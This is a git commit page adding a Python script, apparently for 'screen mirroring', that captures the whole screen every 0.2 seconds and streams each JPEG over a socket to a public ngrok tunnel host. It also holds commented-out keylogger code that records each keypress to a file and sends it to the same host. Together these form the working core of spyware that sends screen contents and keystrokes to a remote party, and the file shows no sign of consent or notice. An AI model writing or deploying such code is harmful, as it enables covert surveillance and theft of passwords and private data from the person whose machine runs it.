add stuff for image sending
This commit is contained in:
110
Server/mirrorServerScreen.py
Normal file
110
Server/mirrorServerScreen.py
Normal file
@ -0,0 +1,110 @@
|
||||
import socket
|
||||
import os
|
||||
import tkinter
|
||||
from PIL import ImageGrab
|
||||
import time
|
||||
|
||||
|
||||
|
||||
SEPARATOR = "<SEPARATOR>"
|
||||
BUFFER_SIZE = 4096 # send 4096 bytes each time step
|
||||
|
||||
|
||||
# the ip address or hostname of the server, the receiver
|
||||
# the port, let's use 5001
|
||||
host = "0.tcp.ngrok.io"
|
||||
port = 15552
|
||||
|
||||
# host = "0.0.0.0"
|
||||
# port = 5001
|
||||
|
||||
# the name of file we want to send, make sure it exists
|
||||
filename = "screen.jpg"
|
||||
# get the file size
|
||||
filesize = os.path.getsize(filename)
|
||||
|
||||
# create the client socket
|
||||
s = socket.socket()
|
||||
print(f"[+] Connecting to {host}:{port}")
|
||||
s.connect((host, port))
|
||||
print("[+] Connected.")
|
||||
# send the filename and filesize
|
||||
#s.send("HELLO".encode())
|
||||
s.send(f"{filename}{SEPARATOR}{filesize}".encode())
|
||||
|
||||
|
||||
def sendfile():
|
||||
# start sending the file
|
||||
with open(filename, "rb") as f:
|
||||
while True:
|
||||
# read the bytes from the file
|
||||
bytes_read = f.read(BUFFER_SIZE)
|
||||
if not bytes_read:
|
||||
# file transmitting is done
|
||||
break
|
||||
# we use sendall to assure transimission in
|
||||
# busy networks
|
||||
s.sendall(bytes_read)
|
||||
# close the socket
|
||||
#s.close()
|
||||
|
||||
#-----------------------------------------------------------
|
||||
|
||||
bbox=(0,0,tkinter.Tk().winfo_screenwidth(),tkinter.Tk().winfo_screenheight())
|
||||
while True:
|
||||
image = ImageGrab.grab(bbox)
|
||||
image.save('screen.jpg',optimize=True,quality=30)
|
||||
print("screenshot taken")
|
||||
sendfile()
|
||||
time.sleep(0.2)
|
||||
s.send("FILEDONE".encode())
|
||||
|
||||
# def on_press(key):
|
||||
#
|
||||
# if str(key) == 'Key.enter':
|
||||
# text_file = open("data.txt", "w")
|
||||
# text_file.write("\n")
|
||||
# text_file.close()
|
||||
# sendfile()
|
||||
#
|
||||
# elif str(key) == 'Key.space':
|
||||
# text_file = open("data.txt", "w")
|
||||
# text_file.write(" ")
|
||||
# text_file.close()
|
||||
# sendfile()
|
||||
#
|
||||
# elif str(key) == 'Key.backspace':
|
||||
# print("Invalid")
|
||||
#
|
||||
#
|
||||
# else:
|
||||
# text_file = open("data.txt", "w")
|
||||
# text_file.write(('{}'.format(key)).replace("'", ""))
|
||||
# text_file.close()
|
||||
# sendfile()
|
||||
#
|
||||
#
|
||||
#
|
||||
# def on_release(key):
|
||||
#
|
||||
# #print('Key {} released.'.format(key))
|
||||
#
|
||||
# if str(key) == 'Key.esc':
|
||||
#
|
||||
# print('Exiting...')
|
||||
#
|
||||
# return False
|
||||
#
|
||||
#
|
||||
#
|
||||
# with keyboard.Listener(
|
||||
#
|
||||
# on_press = on_press,
|
||||
#
|
||||
# on_release = on_release) as listener:
|
||||
#
|
||||
# listener.join()
|
||||
|
||||
|
||||
#-----------------------------------------
|
||||
|
BIN
Server/screen.jpg
Normal file
BIN
Server/screen.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 51 KiB |
Reference in New Issue
Block a user